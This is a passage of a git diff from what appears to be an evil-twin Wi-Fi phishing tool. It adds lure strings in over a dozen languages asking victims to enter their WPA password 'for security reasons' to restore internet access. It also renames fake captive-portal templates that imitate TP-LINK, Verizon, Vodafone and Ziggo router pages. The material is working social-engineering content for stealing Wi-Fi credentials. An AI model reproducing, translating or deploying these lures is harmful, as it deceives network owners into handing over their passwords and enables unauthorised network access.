תוים!" +DIALOG_WEB_LENGTH_MAX_HE="הסיסמה חייבת להכיל פחות מ{0} תוים!" +DIALOG_WEB_DIR_ENG="ltr" + diff --git a/sites/neutra/hu b/sites/neutra/hu new file mode 100644 index 0000000..6af7a60 --- /dev/null +++ b/sites/neutra/hu @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_HU="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" +DIALOG_WEB_INPUT_HU="WPA jelszó:" +DIALOG_WEB_SUBMIT_HU="Küldés" +DIALOG_WEB_ERROR_HU="Hiba: A megadott jelszó helytelen!" +DIALOG_WEB_OK_HU="Az Internet kapcsolat helyreállt. " +DIALOG_WEB_BACK_HU="Vissza" +DIALOG_WEB_ERROR_MSG_HU="A jelszót kötelező megadni." +DIALOG_WEB_LENGTH_MIN_HU="A jelszó nem lehet kevesebb, mint {0} karakter!" +DIALOG_WEB_LENGTH_MAX_HU="A jelszó kevesebb mint {0} karakter kell hogy legyen!" +DIALOG_WEB_DIR_HU="ltr" diff --git a/sites/neutra/id b/sites/neutra/id new file mode 100644 index 0000000..a91fde3 --- /dev/null +++ b/sites/neutra/id @@ -0,0 +1,11 @@ + +DIALOG_WEB_INFO_ID="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." +DIALOG_WEB_INPUT_ID="Masukkan WPA KEY (password wifi) anda:" +DIALOG_WEB_SUBMIT_ID="Masukkan" +DIALOG_WEB_ERROR_ID="Error: Password yang anda masukkan tidak sesuai!" +DIALOG_WEB_OK_ID="Anda akan dapat mengakses Internet dalam beberapa saat lagi." +DIALOG_WEB_BACK_ID="Kembali" +DIALOG_WEB_ERROR_MSG_ID="Kolom ini wajib diisi." +DIALOG_WEB_LENGTH_MIN_ID="Password harus lebih dari {0} karakter!" +DIALOG_WEB_LENGTH_MAX_ID="Password harus kurang dari {0} karakter!" +DIALOG_WEB_DIR_ID="ltr" diff --git a/sites/neutra/it b/sites/neutra/it new file mode 100644 index 0000000..a0a64c2 --- /dev/null +++ b/sites/neutra/it @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" +DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT_IT="Invia" +DIALOG_WEB_ERROR_IT="Errore: La password non è corretta!" +DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK_IT="Indietro" +DIALOG_WEB_ERROR_MSG_IT="Campo obbligatorio." +DIALOG_WEB_LENGTH_MIN_IT="La password deve essere superiore a {0} caratteri" +DIALOG_WEB_LENGTH_MAX_IT="La password deve essere inferiore a {0} caratteri" +DIALOG_WEB_DIR_IT="ltr" diff --git a/sites/neutra/nl b/sites/neutra/nl new file mode 100644 index 0000000..7f52bfc --- /dev/null +++ b/sites/neutra/nl @@ -0,0 +1,11 @@ + +DIALOG_WEB_INFO_NL="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." +DIALOG_WEB_INPUT_NL="Typ Uw WPA wachtwoord:" +DIALOG_WEB_SUBMIT_NL="Invoeren" +DIALOG_WEB_ERROR_NL="Error: Het ingevoerde wachtwoord is niet juist!" +DIALOG_WEB_OK_NL="Uw verbinding wordt in enkele seconden hervat." +DIALOG_WEB_BACK_NL="Terug" +DIALOG_WEB_ERROR_MSG_NL="Dit veld is verplicht." +DIALOG_WEB_LENGTH_MIN_NL="Het wachtwoord moet langer zijn dan {0} karakters!" +DIALOG_WEB_LENGTH_MAX_NL="Het wachtwoord moet korter zijn dan {0} karakters!" +DIALOG_WEB_DIR_NL="ltr" diff --git a/sites/neutra/no b/sites/neutra/no new file mode 100644 index 0000000..b703c87 --- /dev/null +++ b/sites/neutra/no @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_NO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett" +DIALOG_WEB_INPUT_NO="Skriv inn ditt WPA-passord:" +DIALOG_WEB_SUBMIT_NO="Send inn" +DIALOG_WEB_ERROR_NO="Feilmelding: Passordet du skrev inn er IKKE riktig!" +DIALOG_WEB_OK_NO="Din tilkobling vil snart bli gjenopprettet." +DIALOG_WEB_BACK_NO="Tilbake" +DIALOG_WEB_ERROR_MSG_NO="Dette feltet er nødvendig." +DIALOG_WEB_LENGTH_MIN_NO="Passordet må inneholde mer enn {0} tegn" +DIALOG_WEB_LENGTH_MAX_NO="Passordet må inneholde ferre enn {0} tegn" +DIALOG_WEB_DIR_NO="ltr" + diff --git a/sites/neutra/pl b/sites/neutra/pl new file mode 100644 index 0000000..817ff16 --- /dev/null +++ b/sites/neutra/pl @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_PL="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu" +DIALOG_WEB_INPUT_PL="Wprowadź hasło WPA:" +DIALOG_WEB_SUBMIT_PL="Zatwierdź" +DIALOG_WEB_ERROR_PL="Błąd: Wprowadzone hasło nie jest poprawne!" +DIALOG_WEB_OK_PL="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil." +DIALOG_WEB_BACK_PL="Powrót" +DIALOG_WEB_ERROR_MSG_PL="To pole jest obowiązkowe." +DIALOG_WEB_LENGTH_MIN_PL="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!" +DIALOG_WEB_LENGTH_MAX_PL="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!" +DIALOG_WEB_DIR_PL="ltr" + diff --git a/sites/neutra/por b/sites/neutra/por new file mode 100644 index 0000000..b7ebb7c --- /dev/null +++ b/sites/neutra/por @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT_POR="Digite novamente a senha do Wifi" +DIALOG_WEB_SUBMIT_POR="Enviar" +DIALOG_WEB_ERROR_POR="Erro: A senha digitada está incorreta!" +DIALOG_WEB_OK_POR="A sua conexão será restaurada em breve." +DIALOG_WEB_BACK_POR="Voltar" +DIALOG_WEB_ERROR_MSG_POR="Campo de preenchimento obrigatório." +DIALOG_WEB_LENGTH_MIN_POR="A senha deve ter mais de {0} caracteres" +DIALOG_WEB_LENGTH_MAX_POR="A chave deve ser menor que {0} caracteres" +DIALOG_WEB_DIR_POR="ltr" + diff --git a/sites/neutra/ro b/sites/neutra/ro new file mode 100644 index 0000000..1ad4755 --- /dev/null +++ b/sites/neutra/ro @@ -0,0 +1,12 @@ + +DIALOG_WEB_INFO_RO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet" +DIALOG_WEB_INPUT_RO="Parola WPA:" +DIALOG_WEB_SUBMIT_RO="Trimite" +DIALOG_WEB_ERROR_RO="Eroare: Parola introdusa nu este corecta!" +DIALOG_WEB_OK_RO="Conexiunea la Internet va porni in cateva momente." +DIALOG_WEB_BACK_RO="Inapoi" +DIALOG_WEB_ERROR_MSG_RO="Acest câmp este obligatoriu." +DIALOG_WEB_LENGTH_MIN_RO="Parola trebuie să fie mai mare de {0} de caractere!" +DIALOG_WEB_LENGTH_MAX_RO="Parola trebuie să fie mai mică de {0} de caractere!" +DIALOG_WEB_DIR_RO="ltr" + diff --git a/sites/neutra/rus b/sites/neutra/rus new file mode 100644 index 0000000..12c39c0 --- /dev/null +++ b/sites/neutra/rus @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_RUS="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа." +DIALOG_WEB_INPUT_RUS="Введите пароль:" +DIALOG_WEB_SUBMIT_RUS="Отправить" +DIALOG_WEB_ERROR_RUS="Ошибка: Введенный пароль не верный!" +DIALOG_WEB_OK_RUS="Спасибо, соединение восстановится через несколько секунд." +DIALOG_WEB_BACK_RUS="Назад" +DIALOG_WEB_ERROR_MSG_RUS="Это поле необходимо заполнить." +DIALOG_WEB_LENGTH_MIN_RUS="Пароль должен быть не менее {0} символов!" +DIALOG_WEB_LENGTH_MAX_RUS="Пароль должен быть не более {0} символов!" +DIALOG_WEB_DIR_RUS="ltr" + diff --git a/sites/neutra/srb b/sites/neutra/srb new file mode 100644 index 0000000..88c975e --- /dev/null +++ b/sites/neutra/srb @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_SRB="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu." +DIALOG_WEB_INPUT_SRB="Unesite vašu WPA šifru:" +DIALOG_WEB_SUBMIT_SRB="Potvrdi" +DIALOG_WEB_ERROR_SRB="Greška: Šifra koju ste uneli nije tačna!" +DIALOG_WEB_OK_SRB="Vaša konekcija će biti restartovana za par sekundi." +DIALOG_WEB_BACK_SRB="Nazad" +DIALOG_WEB_ERROR_MSG_SRB="Ovo polje je obavezno." +DIALOG_WEB_LENGTH_MIN_SRB="Šifra mora biti duža od {0} simbola!" +DIALOG_WEB_LENGTH_MAX_SRB="Šifra mora biti kraća od {0} simbola!" +DIALOG_WEB_DIR_SRB="ltr" + diff --git a/sites/neutra/svn b/sites/neutra/svn new file mode 100644 index 0000000..e23ca6b --- /dev/null +++ b/sites/neutra/svn @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_SVN="Zaradi varnostnih razlogov vnesite WPA ključ, da lahko dostopate do interneta!" +DIALOG_WEB_INPUT_SVN="Vnesite vaše WPA geslo:" +DIALOG_WEB_SUBMIT_SVN="Pošlji" +DIALOG_WEB_ERROR_SVN="Napaka: Vneseno geslo je napačno!" +DIALOG_WEB_OK_SVN="Vaš dostop do interneta bo omogočen v nekaj sekundah." +DIALOG_WEB_BACK_SVN="Nazaj" +DIALOG_WEB_ERROR_MSG_SVN="To polje je obvezno!." +DIALOG_WEB_LENGTH_MIN_SVN="Geslo more biti daljše od {0} znakov!" +DIALOG_WEB_LENGTH_MAX_SVN="Geslo more biti krajše od {0} znakov!" +DIALOG_WEB_DIR_SVN="ltr" diff --git a/sites/neutra/th b/sites/neutra/th new file mode 100644 index 0000000..0d2ddb9 --- /dev/null +++ b/sites/neutra/th @@ -0,0 +1,11 @@ + +DIALOG_WEB_INFO_TH="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต." +DIALOG_WEB_INPUT_TH="กรอกรหัสผ่าน WIFI ของท่าน:" +DIALOG_WEB_SUBMIT_TH="ยืนยัน" +DIALOG_WEB_ERROR_TH="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง" +DIALOG_WEB_OK_TH="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..." +DIALOG_WEB_BACK_TH="กลับ" +DIALOG_WEB_ERROR_MSG_TH="กรุณากรอกช่องนี้!" +DIALOG_WEB_LENGTH_MIN_TH="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!" +DIALOG_WEB_LENGTH_MAX_TH="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!" +DIALOG_WEB_DIR_TH="ltr" diff --git a/sites/neutra/tr b/sites/neutra/tr new file mode 100644 index 0000000..f48ac4a --- /dev/null +++ b/sites/neutra/tr @@ -0,0 +1,11 @@ + +DIALOG_WEB_INFO_TR="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:" +DIALOG_WEB_INPUT_TR="Lütfen parolanızı giriniz:" +DIALOG_WEB_SUBMIT_TR="Giriş" +DIALOG_WEB_ERROR_TR="Hata: girilen şifre doğru değil! " +DIALOG_WEB_OK_TR="Bağlantı birkaç dakika içinde yapılandırılacaktır." +DIALOG_WEB_BACK_TR="Geri" +DIALOG_WEB_ERROR_MSG_TR="Bu alanın doldurulması zorunludur." +DIALOG_WEB_LENGTH_MIN_TR="Parola en az {0} karakterden olmalıdır." +DIALOG_WEB_LENGTH_MAX_TR="Parola {0} karakterden daha fazla olmamalıdır." +DIALOG_WEB_DIR_TR="ltr" diff --git a/sites/Upgrade-TP-LINK/Upgrade-TP-LINK.zip b/sites/tplink/Upgrade-TP-LINK.zip similarity index 100% rename from sites/Upgrade-TP-LINK/Upgrade-TP-LINK.zip rename to sites/tplink/Upgrade-TP-LINK.zip diff --git a/sites/Upgrade-TP-LINK/Upgrade-TP-LINK.zip_base64.txt b/sites/tplink/Upgrade-TP-LINK.zip_base64.txt similarity index 100% rename from sites/Upgrade-TP-LINK/Upgrade-TP-LINK.zip_base64.txt rename to sites/tplink/Upgrade-TP-LINK.zip_base64.txt diff --git a/sites/Upgrade-TP-LINK/bootstrap.min.css b/sites/tplink/bootstrap.min.css similarity index 100% rename from sites/Upgrade-TP-LINK/bootstrap.min.css rename to sites/tplink/bootstrap.min.css diff --git a/sites/Upgrade-TP-LINK/bootstrap.min.js b/sites/tplink/bootstrap.min.js similarity index 100% rename from sites/Upgrade-TP-LINK/bootstrap.min.js rename to sites/tplink/bootstrap.min.js diff --git a/sites/Upgrade-TP-LINK/error.html b/sites/tplink/error.html similarity index 100% rename from sites/Upgrade-TP-LINK/error.html rename to sites/tplink/error.html diff --git a/sites/Upgrade-TP-LINK/final.html b/sites/tplink/final.html similarity index 100% rename from sites/Upgrade-TP-LINK/final.html rename to sites/tplink/final.html diff --git a/sites/Upgrade-TP-LINK/index.html b/sites/tplink/index.html similarity index 100% rename from sites/Upgrade-TP-LINK/index.html rename to sites/tplink/index.html diff --git a/sites/Upgrade-TP-LINK/jquery.min.js b/sites/tplink/jquery.min.js similarity index 100% rename from sites/Upgrade-TP-LINK/jquery.min.js rename to sites/tplink/jquery.min.js diff --git a/sites/Login-Verizon/Login-Verizon.zip b/sites/verizon/Login-Verizon.zip similarity index 100% rename from sites/Login-Verizon/Login-Verizon.zip rename to sites/verizon/Login-Verizon.zip diff --git a/sites/Login-Verizon/Login-Verizon.zip_base64.txt b/sites/verizon/Login-Verizon.zip_base64.txt similarity index 100% rename from sites/Login-Verizon/Login-Verizon.zip_base64.txt rename to sites/verizon/Login-Verizon.zip_base64.txt diff --git a/sites/Login-Verizon/Verizon.html b/sites/verizon/Verizon.html similarity index 100% rename from sites/Login-Verizon/Verizon.html rename to sites/verizon/Verizon.html diff --git a/sites/Login-Verizon/Verizon_files/actiontec_btm_bar.gif b/sites/verizon/Verizon_files/actiontec_btm_bar.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_btm_bar.gif rename to sites/verizon/Verizon_files/actiontec_btm_bar.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_lt_btm_corner.gif b/sites/verizon/Verizon_files/actiontec_lt_btm_corner.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_lt_btm_corner.gif rename to sites/verizon/Verizon_files/actiontec_lt_btm_corner.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_lt_col.gif b/sites/verizon/Verizon_files/actiontec_lt_col.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_lt_col.gif rename to sites/verizon/Verizon_files/actiontec_lt_col.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_lt_top_corner.gif b/sites/verizon/Verizon_files/actiontec_lt_top_corner.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_lt_top_corner.gif rename to sites/verizon/Verizon_files/actiontec_lt_top_corner.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_rt_btm_corner.gif b/sites/verizon/Verizon_files/actiontec_rt_btm_corner.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_rt_btm_corner.gif rename to sites/verizon/Verizon_files/actiontec_rt_btm_corner.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_rt_col.gif b/sites/verizon/Verizon_files/actiontec_rt_col.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_rt_col.gif rename to sites/verizon/Verizon_files/actiontec_rt_col.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_rt_top_corner.gif b/sites/verizon/Verizon_files/actiontec_rt_top_corner.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_rt_top_corner.gif rename to sites/verizon/Verizon_files/actiontec_rt_top_corner.gif diff --git a/sites/Login-Verizon/Verizon_files/actiontec_top_bar.gif b/sites/verizon/Verizon_files/actiontec_top_bar.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/actiontec_top_bar.gif rename to sites/verizon/Verizon_files/actiontec_top_bar.gif diff --git a/sites/Login-Verizon/Verizon_files/empty.gif b/sites/verizon/Verizon_files/empty.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/empty.gif rename to sites/verizon/Verizon_files/empty.gif diff --git a/sites/Login-Verizon/Verizon_files/vz_logo.gif b/sites/verizon/Verizon_files/vz_logo.gif similarity index 100% rename from sites/Login-Verizon/Verizon_files/vz_logo.gif rename to sites/verizon/Verizon_files/vz_logo.gif diff --git a/sites/VODAFONE-ESP/ayuda.htm b/sites/vodafone_esp/ayuda.htm similarity index 100% rename from sites/VODAFONE-ESP/ayuda.htm rename to sites/vodafone_esp/ayuda.htm diff --git a/sites/VODAFONE-ESP/background.png b/sites/vodafone_esp/background.png similarity index 100% rename from sites/VODAFONE-ESP/background.png rename to sites/vodafone_esp/background.png diff --git a/sites/VODAFONE-ESP/error.html b/sites/vodafone_esp/error.html similarity index 100% rename from sites/VODAFONE-ESP/error.html rename to sites/vodafone_esp/error.html diff --git a/sites/VODAFONE-ESP/final.html b/sites/vodafone_esp/final.html similarity index 100% rename from sites/VODAFONE-ESP/final.html rename to sites/vodafone_esp/final.html diff --git a/sites/VODAFONE-ESP/house.png b/sites/vodafone_esp/house.png similarity index 100% rename from sites/VODAFONE-ESP/house.png rename to sites/vodafone_esp/house.png diff --git a/sites/VODAFONE-ESP/house1.png b/sites/vodafone_esp/house1.png similarity index 100% rename from sites/VODAFONE-ESP/house1.png rename to sites/vodafone_esp/house1.png diff --git a/sites/VODAFONE-ESP/index.htm b/sites/vodafone_esp/index.htm similarity index 100% rename from sites/VODAFONE-ESP/index.htm rename to sites/vodafone_esp/index.htm diff --git a/sites/VODAFONE-ESP/info.css b/sites/vodafone_esp/info.css similarity index 100% rename from sites/VODAFONE-ESP/info.css rename to sites/vodafone_esp/info.css diff --git a/sites/VODAFONE-ESP/info.html b/sites/vodafone_esp/info.html similarity index 100% rename from sites/VODAFONE-ESP/info.html rename to sites/vodafone_esp/info.html diff --git a/sites/VODAFONE-ESP/info2.css b/sites/vodafone_esp/info2.css similarity index 100% rename from sites/VODAFONE-ESP/info2.css rename to sites/vodafone_esp/info2.css diff --git a/sites/ZIGGO2016_NL/Ziggo-logo.svg b/sites/ziggo2_nl/Ziggo-logo.svg similarity index 100% rename from sites/ZIGGO2016_NL/Ziggo-logo.svg rename to sites/ziggo2_nl/Ziggo-logo.svg diff --git a/sites/ZIGGO2016_NL/error.html b/sites/ziggo2_nl/error.html similarity index 100% rename from sites/ZIGGO2016_NL/error.html rename to sites/ziggo2_nl/error.html diff --git a/sites/ZIGGO2016_NL/final.html b/sites/ziggo2_nl/final.html similarity index 100% rename from sites/ZIGGO2016_NL/final.html rename to sites/ziggo2_nl/final.html diff --git a/sites/ZIGGO2016_NL/generic-mobemBG.jpg b/sites/ziggo2_nl/generic-mobemBG.jpg similarity index 100% rename from sites/ZIGGO2016_NL/generic-mobemBG.jpg rename to sites/ziggo2_nl/generic-mobemBG.jpg diff --git a/sites/ZIGGO2016_NL/index.html b/sites/ziggo2_nl/index.html similarity index 100% rename from sites/ZIGGO2016_NL/index.html rename to sites/ziggo2_nl/index.html diff --git a/sites/ZIGGO2016_NL/white-transparent90.png b/sites/ziggo2_nl/white-transparent90.png similarity index 100% rename from sites/ZIGGO2016_NL/white-transparent90.png rename to sites/ziggo2_nl/white-transparent90.png diff --git a/sites/ZIGGO_NL/Ziggo-wifi-modem-header-1.gif b/sites/ziggo_nl/Ziggo-wifi-modem-header-1.gif similarity index 100% rename from sites/ZIGGO_NL/Ziggo-wifi-modem-header-1.gif rename to sites/ziggo_nl/Ziggo-wifi-modem-header-1.gif diff --git a/sites/ZIGGO_NL/background_ziggo_blue_talks.gif b/sites/ziggo_nl/background_ziggo_blue_talks.gif similarity index 100% rename from sites/ZIGGO_NL/background_ziggo_blue_talks.gif rename to sites/ziggo_nl/background_ziggo_blue_talks.gif diff --git a/sites/ZIGGO_NL/bg_invoer.png b/sites/ziggo_nl/bg_invoer.png similarity index 100% rename from sites/ZIGGO_NL/bg_invoer.png rename to sites/ziggo_nl/bg_invoer.png diff --git a/sites/ZIGGO_NL/btn_left.png b/sites/ziggo_nl/btn_left.png similarity index 100% rename from sites/ZIGGO_NL/btn_left.png rename to sites/ziggo_nl/btn_left.png diff --git a/sites/ZIGGO_NL/btn_right.png b/sites/ziggo_nl/btn_right.png similarity index 100% rename from sites/ZIGGO_NL/btn_right.png rename to sites/ziggo_nl/btn_right.png diff --git a/sites/ZIGGO_NL/error.html b/sites/ziggo_nl/error.html similarity index 100% rename from sites/ZIGGO_NL/error.html rename to sites/ziggo_nl/error.html diff --git a/sites/ZIGGO_NL/final.html b/sites/ziggo_nl/final.html similarity index 100% rename from sites/ZIGGO_NL/final.html rename to sites/ziggo_nl/final.html diff --git a/sites/ZIGGO_NL/index.html b/sites/ziggo_nl/index.html similarity index 100% rename from sites/ZIGGO_NL/index.html rename to sites/ziggo_nl/index.html diff --git a/sites/ZIGGO_NL/portalWindow_top_bottom.png b/sites/ziggo_nl/portalWindow_top_bottom.png similarity index 100% rename from sites/ZIGGO_NL/portalWindow_top_bottom.png rename to sites/ziggo_nl/portalWindow_top_bottom.png diff --git a/sites/ZIGGO_NL/table_bottom.png b/sites/ziggo_nl/table_bottom.png similarity index 100% rename from sites/ZIGGO_NL/table_bottom.png rename to sites/ziggo_nl/table_bottom.png diff --git a/sites/ZIGGO_NL/table_top.png b/sites/ziggo_nl/table_top.png similarity index 100% rename from sites/ZIGGO_NL/table_top.png rename to sites/ziggo_nl/table_top.png